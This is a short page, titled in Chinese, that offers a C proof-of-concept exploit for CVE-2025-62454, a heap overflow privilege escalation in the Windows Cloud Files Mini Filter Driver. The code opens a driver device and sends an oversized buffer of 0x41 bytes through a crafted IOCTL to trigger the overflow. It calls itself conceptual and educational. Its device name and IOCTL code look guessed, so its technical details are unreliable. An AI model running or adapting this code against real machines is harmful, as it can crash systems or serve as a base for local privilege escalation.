CVE-2025-62454 Windows云文件迷你过滤器驱动堆溢出权限提升漏洞

// CVE-2025-62454 PoC - Windows Cloud Files Mini Filter Driver Heap Overflow // Author: Security Researcher // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> // IOCTL code for Cloud Files Mini Filter Driver communication #define FILE_DEVICE_CLOUD_FILES 0x0000009A #define IOCTL_CF_MINI_FILTER (FILE_DEVICE_CLOUD_FILES << 16) | (FILE_WRITE_ACCESS << 14) | (0x100 << 2) | METHOD_NEITHER int main() { HANDLE hDevice; DWORD bytesReturned = 0; // Open Cloud Files Mini Filter Driver device hDevice = CreateFileW( L"\\\\.\\CloudFilesFilter", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open CloudFilesFilter device. Error: %d\n", GetLastError()); return 1; } printf("[+] CloudFilesFilter device opened successfully\n"); // Prepare malicious input buffer to trigger heap overflow // Size must exceed driver's internal buffer allocation PVOID inputBuffer = VirtualAlloc(NULL, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!inputBuffer) { printf("[-] Failed to allocate input buffer\n"); CloseHandle(hDevice); return 1; } // Fill buffer with controlled data to manipulate heap memset(inputBuffer, 0x41, 0x10000); printf("[+] Sending malicious IOCTL request...\n"); // Trigger the vulnerable code path BOOL result = DeviceIoControl( hDevice, IOCTL_CF_MINI_FILTER, inputBuffer, 0x10000, NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request completed\n"); } else { printf("[!] IOCTL request failed. Error: %d\n", GetLastError()); } VirtualFree(inputBuffer, 0, MEM_RELEASE); CloseHandle(hDevice); return 0; }